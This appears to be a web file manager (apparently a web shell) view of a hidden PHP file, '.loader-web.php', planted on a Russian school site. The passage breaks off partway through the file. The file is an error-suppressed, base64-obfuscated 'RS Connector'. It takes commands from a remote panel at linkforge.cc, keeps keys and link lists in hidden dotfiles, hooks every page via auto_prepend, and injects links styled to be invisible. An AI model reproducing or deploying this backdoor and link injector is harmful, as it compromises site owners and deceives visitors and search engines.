File Manager
Pro
/home/i/iqcent/iq-schools.ru/public_html
PHP 7.4.33
Linux
/home/i/iqcent/iq-schools.ru/public_html/.loader-web.php
128.1 KB
0600
Back
<?php error_reporting(0); $payload = base64_decode('PD9waHAKLy8gSG9zdCBzaXRlZGVraSAuYXV0aC5waHAgLyBla2xlbnRpIGZvbmtzaXlvbmxhcml5bGEgY2FraXNtYXlpIG9ubGVtZWsgaWNpbgovLyB0dW0gY29ubmVjdG9yIGtlbmRpIG5hbWVzcGFjZSdpbmRlIGNhbGlzaXIgKHJlc3BvbmQoKSB2Yi4gY2FraXNtYXNpIGNvenVsdXIpLgpuYW1lc3BhY2UgUlNDb25uZWN0b3I7CgpkZWZpbmUoJ1JTX0NPTk5FQ1RPUl9WRVJTSU9OJywgJzQuNCcpOwovLyBTdW51Y3UgdGFyYWZpIGlzdGVrbGVyIChoZWFydGJlYXQgdmIuKSBpY2luIHNhYml0IGtpbWxpazsgcGFuZWxpbiBXQUYvQ2xvdWRmbGFyZSBpemluIGxpc3Rlc2luZGUga3VsbGFuaWxpci4KZGVmaW5lKCdSU19VU0VSX0FHRU5UJywgJ0xpbmtGb3JnZS8xLjAnKTsKLyoqCiAqIFJTIENvbm5lY3RvciB2NC40IC0gVW5pdmVyc2FsIEF1dG8tSW5zdGFsbCBFZGl0aW9uCiAqIEVza2kgKHYxLXYzKSB2ZSB5ZW5pICh2NC54KSBjb25uZWN0b3InbGFybGEgdGFtIHV5dW1sdQogKiBUw7xtIGF1dGggecO2bnRlbWxlcmluaSBkZXN0ZWtsZXI6IHBlci1zaXRlIGtleSwgZG9tYWluLWJhc2VkIGtleSwgdW5pdmVyc2FsIGtleSwgSE1BQywgc2V0dXAgdG9rZW4KICovCgovLyA9PT09PT09PT09PT09PT09PT09PSBZQVBJTEFORElSTUEgPT09PT09PT09PT09PT09PT09PT0KZGVmaW5lKCdQQU5FTF9BUElfVVJMJywgJ2h0dHBzOi8vbGlua2ZvcmdlLmNjJyk7CmRlZmluZSgnU0VUVVBfVE9LRU4nLCAnJyk7Ci8vIE5PVEU6IFRoaXMgaXMgYSB0ZW1wbGF0ZSBwbGFjZWhvbGRlci4gUGFuZWwgaW5qZWN0cyB0aGUgcmVhbCB2YWx1ZSBhdCBkb3dubG9hZC91cGRhdGUgdGltZS4KLy8gSWYgaXQgc3RheXMgdW5yZXBsYWNlZCAoY29udGFpbnMgInt7IiksIHVuaXZlcnNhbC1rZXkgYXV0aCBpcyBkaXNhYmxlZCBvbiB0aGlzIHNpdGUuCmRlZmluZSgnVU5JVkVSU0FMX1NJVEVfS0VZJywgJ2M1ZjlhZTg4NWQxYWIxOTJlMWMzYmY5NTQwMGIwMmViODRmMGU1ZjcwNmQ1ODk3OScpOwoKLy8gRG9zeWEgeW9sbGFyxLEgKGVya2VuIHRhbmltbGFuaXI6IGF1dG9fcHJlcGVuZCBtb2R1LCBhc2FnaWRha2kgYW5hIGlzbGVtIGJhc2xhbWFkYW4gb25jZQovLyBidSBzYWJpdGxlcmUgaWh0aXlhYyBkdXlhcikKJGJhc2VfZGlyID0gZGlybmFtZShfX0ZJTEVfXyk7CiR1c2VfaGlkZGVuID0gQGZpbGVfcHV0X2NvbnRlbnRzKCRiYXNlX2RpciAuICcvLnJzX3Rlc3QnLCAndGVzdCcpICE9PSBmYWxzZTsKaWYgKCR1c2VfaGlkZGVuKSBAdW5saW5rKCRiYXNlX2RpciAuICcvLnJzX3Rlc3QnKTsKCmRlZmluZSgnS0VZX0ZJTEUnLCAkYmFzZV9kaXIgLiAnLycgLiAoJHVzZV9oaWRkZW4gPyAnLnJzX2tleScgOiAncnNfa2V5LmRhdCcpKTsKZGVmaW5lKCdMSU5LU19GSUxFJywgJGJhc2VfZGlyIC4gJy8nIC4gKCR1c2VfaGlkZGVuID8gJy5yc19saW5rcy5qc29uJyA6ICdyc19saW5rcy5kYXQnKSk7CmRlZmluZSgnQ09ORklHX0ZJTEUnLCAkYmFzZV9kaXIgLiAnLycgLiAoJHVzZV9oaWRkZW4gPyAnLnJzX2NvbmZpZy5qc29uJyA6ICdyc19jb25maWcuZGF0JykpOwoKLy8gPT09PT09PT09PT09PT09PT09PT0gQVVUT19QUkVQRU5EIE1PRFUgPT09PT09PT09PT09PT09PT09PT0KLy8gQnUgZG9zeWEgYmFza2EgYmlyIHNjcmlwdGluIGF1dG9fcHJlcGVuZF9maWxlJ2kgb2xhcmFrIGNhbGlzaXlvcnNhIChTQ1JJUFRfRklMRU5BTUUgYml6ZGVuCi8vIGZhcmtsaXlzYSksIGFzYWdpZGFraSBhY3Rpb24tZGlzcGF0Y2gga29kdW5hIChDT1JTIGJhc2xpa2xhcmksIENvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbgovLyB6b3JsYW1hc2ksIE9QVElPTlMga2lzYSBkZXZyZXNpIGRhaGlsKSBISUMgZ2lybWVkZW4gc2FkZWNlIGNpa3RpIHRhbXBvbnUga3VydWx1ciB2ZSBnZXJjZWsKLy8gc2F5ZmFuaW4gY2FsaXNtYXNpbmEgYmlyYWtpbGlyLiBCb3lsZWNlIGNvbm5lY3RvciwgSEFOR0kgQ01TL3NhYmxvbiBrdWxsYW5pbGlyc2Ega3VsbGFuaWxzaW4KLy8gKEpvb21sYSwgV29yZFByZXNzLCBMYXJhdmVsLCBuYXRpdmUgUEhQLCB0YW1hbWVuIG96ZWwgeWFwaWxhcikgYXluaSB0ZWsgbWVrYW5pem1heWxhIEhFUgovLyBzYXlmYW5pbiBjaWt0aXNpbmEgbGlua2xlcmkgdmUgSlMgZXRpa2V0aW5pIGVrbGVyIC0gc2FibG9uIGRvc3lhc2kgYXJhbWF5YSwgQ01TJ2Ugb3plbCBiaXIKLy8gZWtsZW50aS91emFudGkga3VybWF5YSB2ZXlhIHlhem1hIGl6aW5sZXJpbmUgaWh0aXlhYyBrYWxtYWRhbi4gUEhQIGZvbmtzaXlvbiB0YW5pbWxhcmkKLy8gZG9zeWFuaW4gdGFtYW1pIGRlcmxlbmlya2VuIGhvc2l0bGVuaXIsIGJ1IHl1emRlbiBhc2FnaWRhIHRhbmltbGFuYW4gaXNfcHJlcGVuZF9tb2RlKCkgdmUKLy8gYm9vdHN0cmFwX291dHB1dF9idWZmZXIoKSBidXJhZGEgY2FncmlsYWJpbGlyLgppZiAoaXNfcHJlcGVuZF9tb2RlKCkpIHsKICAgIGJvb3RzdHJhcF9vdXRwdXRfYnVmZmVyKCk7CiAgICByZXR1cm47Cn0KCi8vID09PT09PT09PT09PT09PT09PT09IEVSS0VOIFDEsE5HIEVORFBPSU5UID09PT09PT09PT09PT09PT09PT09Ci8vIEJhdGNoIHBpbmcgacOnaW4gdWx0cmEgaMSxemzEsSByZXNwb25zZSAoa29kIHBhcnNlIGVkaWxtZWRlbiDDtm5jZSkKaWYgKGlzc2V0KCRfR0VUWydhY3Rpb24nXSkpIHsKICAgICRxdWlja0FjdGlvbiA9IHN0cnRvbG93ZXIodHJpbSgkX0dFVFsnYWN0aW9uJ10pKTsKCiAgICAvLyBVbHRyYSBmYXN0IGVuZHBvaW50cyAtIGJhdGNoIHBpbmcgacOnaW4gb3B0aW1pemUKICAgIGlmICgkcXVpY2tBY3Rpb24gPT09ICdoZWFsdGgnIHx8ICRxdWlja0FjdGlvbiA9PT0gJ2Zhc3RfcGluZycgfHwgJHF1aWNrQWN0aW9uID09PSAndWx0cmFfcGluZycpIHsKICAgICAgICBodHRwX3Jlc3BvbnNlX2NvZGUoMjAwKTsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicpOwogICAgICAgIGhlYWRlcignQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG5vLXN0b3JlLCBtdXN0LXJldmFsaWRhdGUnKTsKICAgICAgICBoZWFkZXIoJ0Nvbm5lY3Rpb246IGNsb3NlJyk7CiAgICAgICAgaGVhZGVyKCdBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46IConKTsKCiAgICAgICAgZWNobyBqc29uX2VuY29kZShbCiAgICAgICAgICAgICdzdWNjZXNzJyA9PiB0cnVlLAogICAgICAgICAgICAnZGF0YScgPT4gWwogICAgICAgICAgICAgICAgJ3NpdGUnID0+ICRfU0VSVkVSWydIVFRQX0hPU1QnXSA/PyAndW5rbm93bicsCiAgICAgICAgICAgICAgICAndmVyc2lvbicgPT4gUlNfQ09OTkVDVE9SX1ZFUlNJT04sCiAgICAgICAgICAgICAgICAndGltZXN0YW1wJyA9PiB0aW1lKCksCiAgICAgICAgICAgICAgICAnYmF0Y2hfcmVhZHknID0+IHRydWUsCiAgICAgICAgICAgICAgICAnbWF4X2JhdGNoX3NpemUnID0+IDEwMAogICAgICAgICAgICBdLAogICAgICAgICAgICAnc3RhdHVzJyA9PiAnb2snCiAgICAgICAgXSk7CgogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2Zhc3RjZ2lfZmluaXNoX3JlcXVlc3QnKSkgewogICAgICAgICAgICBmYXN0Y2dpX2ZpbmlzaF9yZXF1ZXN0KCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKG9iX2dldF9sZXZlbCgpKSBvYl9lbmRfZmx1c2goKTsKICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICB9CiAgICAgICAgZXhpdDsKICAgIH0KCiAgICAvLyBMaWdodHdlaWdodCBiYXRjaCBwaW5nCiAgICBpZiAoJHF1aWNrQWN0aW9uID09PSAnYmF0Y2hfaGVhbHRoJykgewogICAgICAgIGh0dHBfcmVzcG9uc2VfY29kZSgyMDApOwogICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7CiAgICAgICAgaGVhZGVyKCdDb25uZWN0aW9uOiBjbG9zZScpOwogICAgICAgIGhlYWRlcignQWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2luOiAqJyk7CgogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWwogICAgICAgICAgICAnc3VjY2VzcycgPT4gdHJ1ZSwKICAgICAgICAgICAgJ2JhdGNoX2lkJyA9PiAkX0dFVFsnYmF0Y2hfaWQnXSA/PyB1bmlxaWQoKSwKICAgICAgICAgICAgJ3NpdGUnID0+ICRfU0VSVkVSWydIVFRQX0hPU1QnXSA/PyAndW5rbm93bicsCiAgICAgICAgICAgICdpbmRleCcgPT4gaW50dmFsKCRfR0VUWydzaXRlX2luZGV4J10gPz8gMCksCiAgICAgICAgICAgICdiYXRjaF9pbmRleCcgPT4gaW50dmFsKCRfR0VUWydiYXRjaF9pbmRleCddID8/IDApLAogICAgICAgICAgICAndmVyc2lvbicgPT4gUlNfQ09OTkVDVE9SX1ZFUlNJT04sCiAgICAgICAgICAgICdrZXlfc3RhdHVzJyA9PiBmaWxlX2V4aXN0cyhLRVlfRklMRSksCiAgICAgICAgICAgICd0aW1lc3RhbXAnID0+IHRpbWUoKQogICAgICAgIF0pOwoKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmYXN0Y2dpX2ZpbmlzaF9yZXF1ZXN0JykpIHsKICAgICAgICAgICAgZmFzdGNnaV9maW5pc2hfcmVxdWVzdCgpOwogICAgICAgIH0KICAgICAgICBleGl0OwogICAgfQp9CgovLyBQZXJmb3JtYW5jZSBvcHRpbWl6YXN5b25sYXLEsQppbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsKaW5pX3NldCgnbWVtb3J5X2xpbWl0JywgJzEwMjRNJyk7CmluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQnLCAyKTsKCmlmIChmdW5jdGlvbl9leGlzdHMoJ29wY2FjaGVfY29tcGlsZV9maWxlJykpIHsKICAgIEBvcGNhY2hlX2NvbXBpbGVfZmlsZShfX0ZJTEVfXyk7Cn0KCi8vIEhhdGEgcmFwb3JsYW1hCiRERUJVR19NT0RFID0gMDsKZXJyb3JfcmVwb3J0aW5nKCRERUJVR19NT0RFID8gRV9BTEwgOiAwKTsKaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAkREVCVUdfTU9ERSA/ICcxJyA6ICcwJyk7CgovLyBDT1JTIGF5YXJsYXLEsQpoZWFkZXIoJ0FjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKicpOwpoZWFkZXIoJ0FjY2Vzcy1Db250cm9sLUFsbG93LU1ldGhvZHM6IEdFVCwgUE9TVCwgT1BUSU9OUycpOwpoZWFkZXIoJ0FjY2Vzcy1Db250cm9sLUFsbG93LUhlYWRlcnM6IENvbnRlbnQtVHlwZSwgWC1SUy1TaWcsIFgtUlMtVHMsIFgtUlMtS2V5LCBYLVJTLVNldHVwLVRva2VuJyk7CmhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04Jyk7CgppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdPUFRJT05TJykgewogICAgaHR0cF9yZXNwb25zZV9jb2RlKDIwMCk7CiAgICBleGl0KDApOwp9CgovLyA9PT09PT09PT09PT09PT09PT09PSBZQVJESU1DSSBGT05LU8SwWU9OTEFSID09PT09PT09PT09PT09PT09PT09CgovKioKICogSlNPTiB5YW7EsXQgZ8O2bmRlcgogKi8KZnVuY3Rpb24gcmVzcG9uZCgkc3VjY2VzcywgJGRhdGEgPSBbXSwgJG1lc3NhZ2UgPSAnJywgJGh0dHBfY29kZSA9IDApIHsKICAgIGlmICgkaHR0cF9jb2RlID4gMCkgewogICAgICAgIGh0dHBfcmVzcG9uc2VfY29kZSgkaHR0cF9jb2RlKTsKICAgIH0gZWxzZSB7CiAgICAgICAgaHR0cF9yZXNwb25zZV9jb2RlKCRzdWNjZXNzID8gMjAwIDogMjAwKTsKICAgIH0KCiAgICBoZWFkZXIoJ0Nvbm5lY3Rpb246IGNsb3NlJyk7CgogICAgJHJlc3BvbnNlID0gWwogICAgICAgICdzdWNjZXNzJyA9PiAkc3VjY2VzcywKICAgICAgICAnc3RhdHVzJyA9PiAkc3VjY2VzcyA/ICdvaycgOiAnZXJyb3InLAogICAgICAgICdtZXNzYWdlJyA9PiAkbWVzc2FnZSwKICAgICAgICAnZGF0YScgPT4gJGRhdGEsCiAgICAgICAgJ3ZlcnNpb24nID0+IFJTX0NPTk5FQ1RPUl9WRVJTSU9OLAogICAgICAgICd0aW1lc3RhbXAnID0+IHRpbWUoKQogICAgXTsKCiAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSwgSlNPTl9VTkVTQ0FQRURfVU5JQ09ERSB8IEpTT05fVU5FU0NBUEVEX1NMQVNIRVMpOwoKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2Zhc3RjZ2lfZmluaXNoX3JlcXVlc3QnKSkgewogICAgICAgIGZhc3RjZ2lfZmluaXNoX3JlcXVlc3QoKTsKICAgIH0gZWxzZSB7CiAgICAgICAgaWYgKG9iX2dldF9sZXZlbCgpKSBvYl9lbmRfZmx1c2goKTsKICAgICAgICBmbHVzaCgpOwogICAgfQoKICAgIGV4aXQ7Cn0KCi8qKgogKiBBdXRoIGZhaWx1cmUgeWFuxLF0xLEgLSBIVFRQIDIwMCBpbGUgc3VjY2Vzcz1mYWxzZSBkw7ZuZXIgKHBhbmVsIHV5dW11IGnDp2luKQogKi8KZnVuY3Rpb24gcmVzcG9uZF9hdXRoX2ZhaWwoJG1lc3NhZ2UgPSAnS2ltbGlrIGRvxJ9ydWxhbWEgYmHFn2FyxLFzxLF6JykgewogICAgcmVzcG9uZChmYWxzZSwgW10sICRtZXNzYWdlLCAyMDApOwp9CgovKioKICogRG9tYWluLWJhc2VkIHN0YXRpYyBrZXkgZ2VuZXJhdG9yICh2NCB1eXVtbHVsdcSfdSkKICovCmZ1bmN0aW9uIGdlbmVyYXRlX3NpdGVfc3RhdGljX2tleSgpIHsKICAgICRkb21haW4gPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gPz8gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gPz8gJ2RlZmF1bHQnOwogICAgJGRvbWFpbiA9IHN0cnRvbG93ZXIodHJpbSgkZG9tYWluKSk7CiAgICAkZG9tYWluID0gcHJlZ19yZXBsYWNlKCcvXnd3d1wuLycsICcnLCAkZG9tYWluKTsKICAgICRoYXNoID0gc3Vic3RyKG1kNSgkZG9tYWluIC4gJ3JzNDFfc2FsdCcpLCAwLCA3KTsKICAgIHJldHVybiAnUlM0MV8nIC4gJGhhc2g7Cn0KCi8qKgogKiBLYXnEsXRsxLEga2V5J2kgYWwgLSBIWUJSSUQgU8SwU1RFTQogKiDDlm5jZWxpazogMSkgRG9zeWFkYW4gb2t1IChwZXItc2l0ZSBrZXkpLCAyKSBEZWZpbmUgZWRpbG1pxZ8gc2FiaXQga2V5CiAqLwpmdW5jdGlvbiBnZXRfc3RvcmVkX2tleSgpIHsKICAgIC8vIDEuIERvc3lhZGFuIG9rdSAoZW4gZ8O8dmVuaWxpciAtIHBlci1zaXRlIHVuaXF1ZSBrZXkpCiAgICBpZiAoZmlsZV9leGlzdHMoS0VZX0ZJTEUpKSB7CiAgICAgICAgJGZpbGVfa2V5ID0gdHJpbShmaWxlX2dldF9jb250ZW50cyhLRVlfRklMRSkpOwogICAgICAgIGlmICghZW1wdHkoJGZpbGVfa2V5KSAmJiBzdHJsZW4oJGZpbGVfa2V5KSA+PSA0KSB7CiAgICAgICAgICAgIHJldHVybiAkZmlsZV9rZXk7CiAgICAgICAgfQogICAgfQoKICAgIC8vIDIuIERvbWFpbi1iYXNlZCBzdGF0aWMga2V5ICh2NCB1eXVtbHVsdcSfdSkKICAgIHJldHVybiBnZW5lcmF0ZV9zaXRlX3N0YXRpY19rZXkoKTsKfQoKLyoqCiAqIFTDvG0gZ2XDp2VybGkga2V5J2xlcmkgdG9wbGEgKGF1dGggacOnaW4ga3VsbGFuxLFsxLFyKQogKi8KZnVuY3Rpb24gZ2V0X2FsbF92YWxpZF9rZXlzKCkgewogICAgJGtleXMgPSBbXTsKCiAgICAvLyAxLiBEb3N5YWRhbiBva3VuYW4ga2V5CiAgICBpZiAoZmlsZV9leGlzdHMoS0VZX0ZJTEUpKSB7CiAgICAgICAgJGZpbGVfa2V5ID0gdHJpbShmaWxlX2dldF9jb250ZW50cyhLRVlfRklMRSkpOwogICAgICAgIGlmICghZW1wdHkoJGZpbGVfa2V5KSAmJiBzdHJsZW4oJGZpbGVfa2V5KSA+PSA0KSB7CiAgICAgICAgICAgICRrZXlzW10gPSAkZmlsZV9rZXk7CiAgICAgICAgfQogICAgfQoKICAgIC8vIFRoZSBkb21haW4tZGVyaXZlZCBsZWdhY3kga2V5IGlzIG9ubHkgYW4gaWRlbnRpZmllciBmb3IgaGVhcnRiZWF0czsgaXQgaXMKICAgIC8vIGNvbXB1dGVkIGZyb20gYSBwdWJsaWMgc2FsdCwgc28gaXQgbXVzdCBuZXZlciBhdXRoZW50aWNhdGUgYSByZXF1ZXN0LgoKICAgIC8vIDIuIFVuaXZlcnNhbCBrZXkKICAgICR1bml2ZXJzYWwgPSBkZWZpbmVkKCdVTklWRVJTQUxfU0lURV9LRVknKSA/IHRyaW0oKHN0cmluZylVTklWRVJTQUxfU0lURV9LRVkpIDogJyc7CiAgICAvLyBEaXNhYmxlIGlmIHBsYWNlaG9sZGVyIHdhc24ndCBzdWJzdGl0dXRlZC4KICAgIGlmICghZW1wdHkoJHVuaXZlcnNhbCkgJiYgc3RycG9zKCR1bml2ZXJzYWwsICd7eycpID09PSBmYWxzZSAmJiAhaW5fYXJyYXkoJHVuaXZlcnNhbCwgJGtleXMpKSB7CiAgICAgICAgJGtleXNbXSA9ICR1bml2ZXJzYWw7CiAgICB9CgogICAgcmV0dXJuICRrZXlzOwp9CgovKioKICogS2V5J2kgZG9zeWF5YSBrYXlkZXQgLSBBS1TEsEYgKHYzIHV5dW1sdWx1xJ91KQogKi8KZnVuY3Rpb24gc2F2ZV9rZXkoJGtleSkgewogICAgJGtleSA9IHRyaW0oKHN0cmluZykka2V5KTsKICAgIGlmIChlbXB0eSgka2V5KSkgcmV0dXJuIGZhbHNlOwogICAgcmV0dXJuIEBmaWxlX3B1dF9jb250ZW50cyhLRVlfRklMRSwgJGtleSkgIT09IGZhbHNlOwp9CgpmdW5jdGlvbiBzYXZlX2NvbmZpZygkY29uZmlnKSB7CiAgICByZXR1cm4gQGZpbGVfcHV0X2NvbnRlbnRzKENPTkZJR19GSUxFLCBqc29uX2VuY29kZSgkY29uZmlnLCBKU09OX1VORVNDQVBFRF9VTklDT0RFKSkgIT09IGZhbHNlOwp9CgpmdW5jdGlvbiBnZXRfY29uZmlnKCkgewogICAgaWYgKGZpbGVfZXhpc3RzKENPTkZJR19GSUxFKSkgewogICAgICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKENPTkZJR19GSUxFKTsKICAgICAgICByZXR1cm4ganNvbl9kZWNvZGUoJGNvbnRlbnQsIHRydWUpID86IFtdOwogICAgfQogICAgcmV0dXJuIFtdOwp9CgpmdW5jdGlvbiBnZXRfbGlua3MoKSB7CiAgICBpZiAoZmlsZV9leGlzdHMoTElOS1NfRklMRSkpIHsKICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cyhMSU5LU19GSUxFKTsKICAgICAgICByZXR1cm4ganNvbl9kZWNvZGUoJGNvbnRlbnQsIHRydWUpID86IFtdOwogICAgfQogICAgcmV0dXJuIFtdOwp9CgpmdW5jdGlvbiBzYXZlX2xpbmtzKCRsaW5rcykgewogICAgcmV0dXJuIEBmaWxlX3B1dF9jb250ZW50cyhMSU5LU19GSUxFLCBqc29uX2VuY29kZSgkbGlua3MsIEpTT05fVU5FU0NBUEVEX1VOSUNPREUpKSAhPT0gZmFsc2U7Cn0KCi8qKgogKiBSZXF1ZXN0IGJvZHkneWkgdGVrIHNlZmVyIG9rdSB2ZSBjYWNoZSdsZSAoSE1BQyB0dXRhcmzEsWzEscSfxLEgacOnaW4pCiAqLwpmdW5jdGlvbiBnZXRfcmF3X3JlcXVlc3RfYm9keSgpIHsKICAgIHN0YXRpYyAkY2FjaGVkX2JvZHkgPSBudWxsOwogICAgaWYgKCRjYWNoZWRfYm9keSA9PT0gbnVsbCkgewogICAgICAgICRjYWNoZWRfYm9keSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpOwogICAgICAgIGlmICgkY2FjaGVkX2JvZHkgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICRjYWNoZWRfYm9keSA9ICcnOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAkY2FjaGVkX2JvZHk7Cn0KCmZ1bmN0aW9uIGdldF9yZXF1ZXN0X2RhdGEoKSB7CiAgICAkZGF0YSA9IFtdOwoKICAgIGlmICghZW1wdHkoJF9QT1NUKSkgewogICAgICAgICRkYXRhID0gJF9QT1NUOwogICAgfQoKICAgICRyYXcgPSBnZXRfcmF3X3JlcXVlc3RfYm9keSgpOwogICAgaWYgKCRyYXcpIHsKICAgICAgICAkanNvbiA9IGpzb25fZGVjb2RlKCRyYXcsIHRydWUpOwogICAgICAgIGlmIChpc19hcnJheSgkanNvbikpIHsKICAgICAgICAgICAgJGRhdGEgPSBhcnJheV9tZXJnZSgkZGF0YSwgJGpzb24pOwogICAgICAgIH0KICAgIH0KCiAgICAkZGF0YSA9IGFycmF5X21lcmdlKCRkYXRhLCAkX0dFVCk7CiAgICByZXR1cm4gJGRhdGE7Cn0KCi8qKgogKiBBY3Rpb24gYWTEsW7EsSBub3JtYWxpemUgZXQKICovCmZ1bmN0aW9uIG5vcm1hbGl6ZV9hY3Rpb25fbmFtZSgkYWN0aW9uKSB7CiAgICAkYWN0aW9uID0gc3RydG9sb3dlcih0cmltKChzdHJpbmcpJGFjdGlvbikpOwogICAgaWYgKCRhY3Rpb24gPT09ICcnKSByZXR1cm4gJ3BpbmcnOwogICAgJHFwb3MgPSBzdHJwb3MoJGFjdGlvbiwgJz8nKTsKICAgIGlmICgkcXBvcyAhPT0gZmFsc2UpICRhY3Rpb24gPSBzdWJzdHIoJGFjdGlvbiwgMCwgJHFwb3MpOwogICAgJGFwb3MgPSBzdHJwb3MoJGFjdGlvbiwgJyYnKTsKICAgIGlmICgkYXBvcyAhPT0gZmFsc2UpICRhY3Rpb24gPSBzdWJzdHIoJGFjdGlvbiwgMCwgJGFwb3MpOwogICAgJGFjdGlvbiA9IHByZWdfcmVwbGFjZSgnL1teYS16MC05X10vJywgJycsICRhY3Rpb24pOwogICAgcmV0dXJuICRhY3Rpb24gPzogJ3BpbmcnOwp9CgpmdW5jdGlvbiBub3JtYWxpemVfcmVsKCRyZWwpIHsKICAgICRyZWwgPSBzdHJ0b2xvd2VyKHRyaW0oKHN0cmluZykkcmVsKSk7CiAgICByZXR1cm4gKCRyZWwgPT09ICdub2ZvbGxvdycpID8gJ25vZm9sbG93JyA6ICdkb2ZvbGxvdyc7Cn0KCi8qKgogKiBSZXF1ZXN0IGnDp2luZGVuIGdlbGVuIGtleSdpIGFsICh0w7xtIGZpZWxkIGFkbGFyxLFuxLEga29udHJvbCBldCkKICovCmZ1bmN0aW9uIGdldF9wcm92aWRlZF9zaXRlX2tleSgkcmVxKSB7CiAgICAkY2FuZGlkYXRlcyA9IFsKICAgICAgICAkcmVxWydrZXknXSA/PyAnJywKICAgICAgICAkcmVxWydzaXRlX2tleSddID8/ICcnLAogICAgICAgICRyZXFbJ2Nvbm5lY3Rvcl9rZXknXSA/PyAnJywKICAgICAgICAkcmVxWydhcGlfa2V5J10gPz8gJycsCiAgICAgICAgJHJlcVsndG9rZW4nXSA/PyAnJywKICAgICAgICAkX1NFUlZFUlsnSFRUUF9YX1JTX0tFWSddID8/ICcnLAogICAgXTsKICAgIGZvcmVhY2ggKCRjYW5kaWRhdGVzIGFzICRjYW5kaWRhdGUpIHsKICAgICAgICBpZiAoIWlzX3N0cmluZygkY2FuZGlkYXRlKSkgY29udGludWU7CiAgICAgICAgJGNhbmRpZGF0ZSA9IHRyaW0oJGNhbmRpZGF0ZSk7CiAgICAgICAgaWYgKCRjYW5kaWRhdGUgIT09ICcnKSByZXR1cm4gJGNhbmRpZGF0ZTsKICAgIH0KICAgIHJldHVybiAnJzsKfQoKLyoqCiAqIFNldHVwIHRva2VuIGRvxJ9ydWxhbWEKICovCmZ1bmN0aW9uIGhhc192YWxpZF9zZXR1cF90b2tlbigkcmVxKSB7CiAgICAkZXhwZWN0ZWQgPSBkZWZpbmVkKCdTRVRVUF9UT0tFTicpID8gU0VUVVBfVE9LRU4gOiAnJzsKICAgIGlmIChlbXB0eSgkZXhwZWN0ZWQpIHx8IHN0cnBvcygkZXhwZWN0ZWQsICd7eycpICE9PSBmYWxzZSkgcmV0dXJuIGZhbHNlOwogICAgJHByb3ZpZGVkID0gJyc7CiAgICBpZiAoaXNzZXQoJHJlcVsnc2V0dXBfdG9rZW4nXSkgJiYgaXNfc3RyaW5nKCRyZXFbJ3NldHVwX3Rva2VuJ10pKSB7CiAgICAgICAgJHByb3ZpZGVkID0gdHJpbSgkcmVxWydzZXR1cF90b2tlbiddKTsKICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX1JTX1NFVFVQX1RPS0VOJ10pICYmIGlzX3N0cmluZygkX1NFUlZFUlsnSFRUUF9YX1JTX1NFVFVQX1RPS0VOJ10pKSB7CiAgICAgICAgJHByb3ZpZGVkID0gdHJpbSgkX1NFUlZFUlsnSFRUUF9YX1JTX1NFVFVQX1RPS0VOJ10pOwogICAgfQogICAgcmV0dXJuICRwcm92aWRlZCAhPT0gJycgJiYgaGFzaF9lcXVhbHMoJGV4cGVjdGVkLCAkcHJvdmlkZWQpOwp9CgovLyBMaW5rIGlubGluZSBzdGlsCmZ1bmN0aW9uIGdldF9saW5rX2lubGluZV9zdHlsZSgpIHsKICAgICRjb25maWcgPSBnZXRfY29uZmlnKCk7CiAgICAkbW9kZSA9IHN0cnRvbG93ZXIodHJpbSgoc3RyaW5nKSgkY29uZmlnWydsaW5rX291dHB1dF9tb2RlJ10gPz8gJ2hpZGRlbicpKSk7CiAgICBpZiAoJG1vZGUgPT09ICd2aXNpYmxlJykgewogICAgICAgIHJldHVybiAnZGlzcGxheTppbmxpbmUtYmxvY2s7bWFyZ2luOjAgOHB4IDAgMDtjb2xvcjppbmhlcml0O3RleHQtZGVjb3JhdGlvbjpub25lO2ZvbnQtc2l6ZTppbmhlcml0O2xpbmUtaGVpZ2h0OjEuNDtvcGFjaXR5OjE7JzsKICAgIH0KICAgIHJldHVybiAncG9zaXRpb246YWJzb2x1dGU7bGVmdDotOTk5OXB4O29wYWNpdHk6MDtmb250LXNpemU6MXB4O2NvbG9yOnRyYW5zcGFyZW50Oyc7Cn0KCmZ1bmN0aW9uIGJ1aWxkX2xpbmtfaHRtbCgkdXJsLCAkYW5jaG9yLCAkcmVsID0gJ2RvZm9sbG93JykgewogICAgJHJlbCA9IG5vcm1hbGl6ZV9yZWwoJHJlbCk7CiAgICAkcmVsX2F0dHIgPSAoJHJlbCA9PT0gJ25vZm9sbG93JykgPyAnIHJlbD0ibm9mb2xsb3ciJyA6ICcnOwogICAgJHN0eWxlID0gZ2V0X2xpbmtfaW5saW5lX3N0eWxlKCk7CiAgICByZXR1cm4gJzxhIGhyZWY9IicgLiBodG1sc3BlY2lhbGNoYXJzKCR1cmwsIEVOVF9RVU9URVMsICdVVEYtOCcpIC4gJyInIC4gJHJlbF9hdHRyIC4gJyBzdHlsZT0iJyAuICRzdHlsZSAuICciPicgLiBodG1sc3B